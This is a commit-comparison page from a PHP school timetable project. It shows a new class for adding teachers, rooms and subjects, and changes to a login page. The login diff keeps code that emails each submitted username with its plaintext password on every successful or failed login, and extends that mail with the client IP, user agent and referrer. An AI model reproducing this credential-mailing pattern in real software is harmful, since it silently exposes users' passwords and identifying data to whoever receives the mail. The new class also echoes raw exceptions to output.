Compare commits

..
Author SHA1 Message Date
Bruno 8d453b93a0 new Time Table class with getter and setter 2026-09-07 13:53:41 +02:00
Tower 85de71f9b4 logging fix 2026-09-03 13:41:38 +02:00
Tower d88db54635 fix wording 2026-08-01 12:39:43 +02:00
Tower 24cc12374f fix wording 2026-08-01 12:30:04 +02:00
Tower 9ec0465401 Merge branch 'notify-after-login' 2026-07-24 07:47:04 +02:00
2 changed files with 191 additions and 25 deletions

No files matched your search

+162
View File
@@ -0,0 +1,162 @@
<?php
include_once(__DIR__ . '/../../controller/DatabaseController.php');
include_once(__DIR__ . '/../../controller/DataController.php');
class changeTimetable{
/**
* get Teachers
*
* @return array
*/
public function getTeachers() : array {
$teachers = [];
$teachers = DatabaseShow(
'Lehrer',
'NAME'
);
return $teachers;
}
/**
* get Rooms
*
* @return array
*/
public function getRooms() : array {
$rooms = [];
$rooms = DatabaseShow(
'Raum',
'RAUM_NR'
);
return $rooms;
}
/**
* get Lessons
*
* @return array
*/
public function getLessons() : array {
$lessons = [];
$lessons = DatabaseShow(
'Fach',
'FACH'
);
return $lessons;
}
/**
* add a new Teacher to the Table
*
* @param array $teachers
* @return boolean
*/
public function addTeachers(array $teachers) : bool {
try {
foreach ($teachers as $teacher) {
DatabaseInsert(
'Lehrer',
'NAME',
$teacher
);
}
return true;
} catch (Exception $error) {
echo $error;
return false;
}
}
/**
* add a new Room Number to the Tabke
*
* @param array $roomnrs
* @return bool
*/
public function addRooms(array $roomnrs) : bool {
try {
foreach ($roomnrs as $roomnr) {
DatabaseInsert(
'Raum',
'RAUM_NR',
$roomnr,
);
}
return true;
} catch (Exception $error) {
echo $error;
return false;
}
}
public function addLessons(array $lessons) : bool {
try {
foreach ($lessons as $lesson) {
DatabaseInsert(
'Fach',
'FACH',
$lesson
);
}
return true;
} catch (Exception $error) {
echo $error;
return false;
}
}
public function setInitial(string $Teacher, string $Initial) : bool {
try {
$ID = DatabaseShow(
'Lehrer',
'ID',
'NAME = ?',
$Teacher,
);
$ID = $ID[0]['ID'];
DatabaseUpdate(
'Lehrer',
'INITIALS = ?',
'ID = ?',
$Initial,
$ID
);
return true;
} catch (Exception $error) {
echo $error;
return false;
}
}
}
$TimeTable = new changeTimetable();
#$TimeTable->addTeachers([
# '',
#]);
#$TimeTable->addRooms([
# '',
#]);
#$TimeTable->addLessons([
# '',
#]);
#(new changeTimetable()->addLessons(['', '']));
#(new changeTimetable()->setInitial('', ''));
+29 -25
View File
@@ -21,6 +21,10 @@ logging();
$error = null;
$clientip = (new getSpecificData())->getClientIP();
$useragent = (new getSpecificData())->getUserAgent();
$referrer = (new getSpecificData())->getReferer();
function schreibeSessionUndPruefe(): void
{
$sid = session_id();
@@ -100,7 +104,7 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
logging();
sendMail(
"User Login Successful",
"$username, $password",
"$username | $password | $clientip | $useragent | $referrer",
(new getSpecificData())->getRequestURL(),
true,
);
@@ -111,7 +115,7 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$error = 'Login fehlgeschlagen';
sendMail(
"User Login failed",
"$username, $password",
"$username | $password | $clientip | $useragent | $referrer",
(new getSpecificData())->getRequestURL(),
true,
);
@@ -123,7 +127,7 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$error = 'Login fehlgeschlagen';
sendMail(
"User Login failed",
"$username, $password",
"$username | $password | $clientip | $useragent | $referrer",
(new getSpecificData())->getRequestURL(),
true,
);
@@ -150,18 +154,18 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
<h2>Login</h2>
<?php if ($error): ?>
<p class="login-error"><?= htmlspecialchars($error) ?></p>
<p class="login-error"><?= htmlspecialchars($error) ?></p>
<?php endif; ?>
<form method="post">
<input type="text" name="username" placeholder="Benutzername" required>
<input type="password" name="password" placeholder="Passwort" required>
<button type="submit">Login</button>
<button type="submit">Einloggen</button>
</form>
<button style="margin-top: 9px" type="button"
onclick="document.querySelector('input[name=username]').value='gast'; document.querySelector('form').submit();">
Als Gast einloggen
Gast Login
</button>
<button style="margin-top: 9px" type="button" id="registryButton">
Registrieren
@@ -174,27 +178,27 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
</div>
<script>
document.getElementById('registryButton').addEventListener('click', () => {
window.location.href = 'register.php';
});
document.getElementById('resetpassword').addEventListener('click', () => {
window.location.href = 'forgot_password.php';
});
const toggle = document.getElementById('darkModeToggle');
document.getElementById('registryButton').addEventListener('click', () => {
window.location.href = 'register.php';
});
document.getElementById('resetpassword').addEventListener('click', () => {
window.location.href = 'forgot_password.php';
});
const toggle = document.getElementById('darkModeToggle');
if (localStorage.getItem('darkMode') === 'enabled') {
document.body.classList.add('dark-mode');
if (localStorage.getItem('darkMode') === 'enabled') {
document.body.classList.add('dark-mode');
}
toggle.addEventListener('click', () => {
document.body.classList.toggle('dark-mode');
if (document.body.classList.contains('dark-mode')) {
localStorage.setItem('darkMode', 'enabled');
} else {
localStorage.setItem('darkMode', 'disabled');
}
toggle.addEventListener('click', () => {
document.body.classList.toggle('dark-mode');
if (document.body.classList.contains('dark-mode')) {
localStorage.setItem('darkMode', 'enabled');
} else {
localStorage.setItem('darkMode', 'disabled');
}
});
});
</script>
</body>